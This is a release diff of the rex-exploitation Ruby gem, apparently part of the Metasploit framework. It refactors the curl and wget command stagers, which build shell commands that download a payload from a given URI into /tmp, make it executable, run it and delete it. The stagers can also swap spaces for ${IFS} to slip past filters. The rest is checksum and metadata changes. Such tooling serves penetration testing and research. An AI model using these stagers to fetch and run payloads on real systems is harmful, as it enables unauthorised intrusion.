rex-exploitation 0.1.7 → 0.1.8

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA1:
-  metadata.gz: a278a592a33384281c661b167d343a70bdefb42f
-  data.tar.gz: ad75fa0960a0df1c1ba1cc02f1625897f743a846
+  metadata.gz: 5ff8931f96f0a7c2dff501bfeeebbddd006507c9
+  data.tar.gz: 0a4b77913a6a10408cda458d91a76f1eaca9c41e
 SHA512:
-  metadata.gz: efd50974655d355761bd0ea5a362f8e5dd8b976972f69df551c81cf963c79cb9b3d4f40b40a8c277beb30238ea2080238b0ceca2a66e54650eca2c8f04fe03ef
-  data.tar.gz: b02158b54940126c38b0394d6c73679fefbfa5034e215b0388e5862cbdc8ebbd5ca676fb6af7f9be3e2abe953dd6ce99d6a5658af95f7ebbb989d148ff8c6f92
+  metadata.gz: 07fc38f827fe008b6a8bf9d27137072a8e62d0c95965d3a278b71aa5113dfbe115ce853ca07ad7a41eed3b0b2920d7d410a69cab32d209dde175ba41800db812
+  data.tar.gz: ce65a1bb5821a09785d1309776c7c722bddda7286bd373352e61b504b9ae8544cb997b0dfc5afff6d5997d1d5662ca0811ad8000ea2b46f7d5dd2a5d7d38cb68

data/lib/rex/exploitation/cmdstager/curl.rb

@@ -6,26 +6,47 @@ class Rex::Exploitation::CmdStagerCurl < Rex::Exploitation::CmdStagerBase
     true
   end
 
-  def compress_commands(cmds, opts)
+  def generate(opts = {})
     if opts[:payload_uri].nil?
       raise "#{self.class.name}##{__callee__} missing opts[:payload_uri]"
     end
 
     opts[:temp] ||= '/tmp'
-    payload_file  = Rex::Text.rand_text_alpha(8)
-    payload_path  = "#{opts[:temp]}/#{payload_file}"
+    opts[:file] ||= Rex::Text.rand_text_alpha(8)
+    @payload_path = "#{opts[:temp]}/#{opts[:file]}"
+
+    super
+  end
+
+  def generate_cmds_payload(opts)
+    cmds = []
 
     if opts[:ssl]
-      cmds << "curl -ko #{payload_path} #{opts[:payload_uri]}"
+      cmds << "curl -ko #{@payload_path} #{opts[:payload_uri]}"
     else
-      cmds << "curl -o #{payload_path} #{opts[:payload_uri]}"
+      cmds << "curl -o #{@payload_path} #{opts[:payload_uri]}"
     end
 
-    cmds << "chmod +x #{payload_path}"
-    cmds << payload_path
-    cmds << "rm -f #{payload_path}" unless opts[:nodelete]
+    cmds
+  end
+
+  def generate_cmds_decoder(opts)
+    cmds = []
 
+    cmds << "chmod +x #{@payload_path}"
+    cmds << @payload_path
+    cmds << "rm -f #{@payload_path}" unless opts[:nodelete]
+
+    cmds
+  end
+
+  def compress_commands(cmds, opts)
+    cmds.each { |cmd| cmd.gsub!(/\s+/, '${IFS}') } if opts[:nospace]
     super
   end
 
+  def cmd_concat_operator
+    ';'
+  end
+
 end

data/lib/rex/exploitation/cmdstager/wget.rb

@@ -6,27 +6,48 @@ class Rex::Exploitation::CmdStagerWget < Rex::Exploitation::CmdStagerBase
     true
   end
 
-  def compress_commands(cmds, opts)
+  def generate(opts = {})
     if opts[:payload_uri].nil?
       raise "#{self.class.name}##{__callee__} missing opts[:payload_uri]"
     end
 
     opts[:temp] ||= '/tmp'
-    payload_file  = Rex::Text.rand_text_alpha(8)
-    payload_path  = "#{opts[:temp]}/#{payload_file}"
-    no_check_cert = '--no-check-certificate'
+    opts[:file] ||= Rex::Text.rand_text_alpha(8)
+    @payload_path = "#{opts[:temp]}/#{opts[:file]}"
+
+    super
+  end
+
+  def generate_cmds_payload(opts)
+    cmds = []
+    ncc  = '--no-check-certificate'
 
     if opts[:ssl]
-      cmds << "wget -O #{payload_path} #{no_check_cert} #{opts[:payload_uri]}"
+      cmds << "wget -O #{@payload_path} #{ncc} #{opts[:payload_uri]}"
     else
-      cmds << "wget -O #{payload_path} #{opts[:payload_uri]}"
+      cmds << "wget -O #{@payload_path} #{opts[:payload_uri]}"
     end
 
-    cmds << "chmod +x #{payload_path}"
-    cmds << payload_path
-    cmds << "rm -f #{payload_path}" unless opts[:nodelete]
+    cmds
+  end
+
+  def generate_cmds_decoder(opts)
+    cmds = []
 
+    cmds << "chmod +x #{@payload_path}"
+    cmds << @payload_path
+    cmds << "rm -f #{@payload_path}" unless opts[:nodelete]
+
+    cmds
+  end
+
+  def compress_commands(cmds, opts)
+    cmds.each { |cmd| cmd.gsub!(/\s+/, '${IFS}') } if opts[:nospace]
     super
   end
 
+  def cmd_concat_operator
+    ';'
+  end
+
 end

data/lib/rex/exploitation/version.rb

@@ -1,5 +1,5 @@
 module Rex
   module Exploitation
-    VERSION = "0.1.7"
+    VERSION = "0.1.8"
   end
 end

metadata

@@ -1,7 +1,7 @@
 --- !ruby/object:Gem::Specification
 name: rex-exploitation
 version: !ruby/object:Gem::Version
-  version: 0.1.7
+  version: 0.1.8
 platform: ruby
 authors:
 - David Maloney
@@ -88,7 +88,7 @@ cert_chain:
   G+Hmcg1v810agasPdoydE0RTVZgEOOMoQ07qu7JFXVWZ9ZQpHT7qJATWL/b2csFG
   8mVuTXnyJOKRJA==
   -----END CERTIFICATE-----
-date: 2016-12-30 00:00:00.000000000 Z
+date: 2017-01-03 00:00:00.000000000 Z
 dependencies:
 - !ruby/object:Gem::Dependency
   name: bundler

metadata.gz.sig

@@ -1,2 +1,3 @@
-�}�+�2hy���)�k֣܃�
-Q.9�������2�2���,�C�w�3
+�Q>�T������V��c�|�v�5.������T*��
\,��Z9_�-�ܲ���_k*bod�Ł�����;Ig��<BH��I�����
+8�7bO�
+|���JFhSKUv��Y��1��)y>�'�~OHM�U��ػPx�'����~�V�衩#�L�g�~Ͽ󍇣 Ss�E�v�t�ײ�A.BRg�I%���&���7:Z�p�H �����y��J�l���I�f����'��Q0���R;�y<�